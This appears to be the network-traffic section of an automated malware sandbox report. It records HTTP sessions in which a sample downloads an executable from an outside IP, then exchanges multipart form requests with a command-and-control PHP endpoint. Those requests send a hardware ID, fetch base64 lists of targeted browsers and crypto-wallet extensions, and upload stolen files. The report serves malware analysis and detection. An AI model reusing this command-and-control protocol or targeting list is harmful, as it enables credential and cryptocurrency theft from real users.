Dec 19, 2024 07:56:44.606102943 CET	1236	IN	Data Raw: c8 f8 01 65 ec d8 e0 99 a6 4f bd 6f f9 68 02 29 f3 5a aa dc fd e8 e2 44 88 7c d6 d6 bb 32 dd f0 95 62 ae 7c 25 ae 55 36 c2 dc d7 ea 24 6b e0 6c 41 1a e0 fb 7b e0 32 1e 4e 7a fc 24 13 20 fa be 09 61 60 e2 8e 27 c2 fe f9 2b d8 08 7e f7 5a 5d 81 50 Data Ascii: eOoh)ZD\|2b\|%U6$klA{2Nz$ a`'+~Z]Pz>sHgfU(2sI.f(0(2d&'oC&SjeR&ls]sR(Q>)xsql-u+U@PrT]>5\=5CcA_t\|oI^)4
Dec 19, 2024 07:56:44.606122971 CET	1236	IN	Data Raw: f7 32 c5 2b bf b1 9b 8e 0e 53 d0 7e 73 0f fa 50 81 44 d5 69 04 26 49 cf d2 cf 9a a8 67 c4 5a 5d 27 59 95 f9 3c 37 d4 bd a8 51 ed b3 3b 46 ec e9 cf 9c e7 99 e4 0f c3 f6 ce 82 ed ad dd dd 11 71 2a ef 01 b7 dc 13 4d 35 31 1b cd b9 c6 09 cc 02 c9 12 Data Ascii: 2+S~sPDi&IgZ]'Y<7Q;Fq*M51'/$A'1[/Z1"8&R?4(+w}Y[Bt{n3fACI[b?19}\|Z%m'
Dec 19, 2024 07:56:44.725811958 CET	1236	IN	Data Raw: d8 5a ff 99 11 87 01 80 08 3e 45 88 19 16 7e a4 d0 f9 db 93 6f 59 f3 15 69 5a 30 60 e1 b9 1e bb 3b e4 e0 ac df 54 aa e3 bb 0f 23 df 55 3b bd 7e f0 42 4d b4 20 7c df d7 fc 44 1a 08 28 17 6f 40 63 4c ea 14 69 00 e9 f3 8d e7 bf 03 f1 dc fb d8 11 76 Data Ascii: Z>E~oYiZ0`;T#U;~BM \|D(o@cLiv"*#!k8K '8xklAG`;8D)jnb#7e~x$4hRp%1H.6!(~9nl&>"k^iC/Wij84WV5S/
Dec 19, 2024 07:56:48.270526886 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 07:56:48.707798958 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 06:56:47 GMT Content-Type: application/octet-stream Content-Length: 2869248 Last-Modified: Thu, 19 Dec 2024 06:20:24 GMT Connection: keep-alive ETag: "6763bb28-2bc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@0Oj&,@M$a$$ $h@.rsrc$x@.idata $z@oiorywlp0$&\|@yzgbcaqsN+@.taggant0O"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	185.215.113.206	80	4944	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:56:56.509804010 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 07:56:57.842001915 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 07:56:57.906915903 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 45 39 37 43 44 35 38 36 44 36 33 33 30 35 32 39 38 33 36 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="hwid"8FE97CD586D63305298366------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="build"stok------DBKKFCBAKKFBGCBFHJDG--
Dec 19, 2024 07:56:58.361779928 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6a 4d 79 59 6d 45 35 4d 47 51 33 5a 57 52 69 4d 47 4a 6b 4e 54 56 69 4f 54 4a 69 5a 54 55 79 4d 6d 51 79 5a 57 59 33 4e 57 51 79 4e 44 4e 68 4e 47 5a 6b 5a 54 51 34 4d 6a 4a 68 4d 6a 51 35 4e 6d 51 77 4f 44 64 6c 4d 6a 52 68 4d 47 49 35 59 57 46 6b 4e 7a 4a 69 59 7a 64 68 4e 7a 4d 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MjMyYmE5MGQ3ZWRiMGJkNTViOTJiZTUyMmQyZWY3NWQyNDNhNGZkZTQ4MjJhMjQ5NmQwODdlMjRhMGI5YWFkNzJiYzdhNzM4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 19, 2024 07:56:58.362976074 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="message"browsers------GHJDHDAECBGCAKEBAEBA--
Dec 19, 2024 07:56:58.802622080 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 19, 2024 07:56:58.802675962 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 19, 2024 07:56:58.804574013 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 2d 2d 0d 0a Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="message"plugins------GCGDHJDAFHJEBFIDAFHI--
Dec 19, 2024 07:56:59.244261980 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 19, 2024 07:56:59.244338989 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 19, 2024 07:56:59.244390011 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 19, 2024 07:56:59.244424105 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 19, 2024 07:56:59.244462013 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 19, 2024 07:56:59.244482994 CET	620	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 19, 2024 07:56:59.436228037 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Dec 19, 2024 07:56:59.438729048 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="message"fplugins------ECBGHCGCBKFIECBFHIDG--
Dec 19, 2024 07:56:59.878392935 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 19, 2024 07:56:59.901767969 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKJKEHDBGIDGDHCFHI Host: 185.215.113.206 Content-Length: 7363 Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 07:56:59.901860952 CET	7363	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 Data Ascii: ------KJKKJKEHDBGIDGDHCFHIContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------KJKKJKEHDBGIDGDHCFHIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
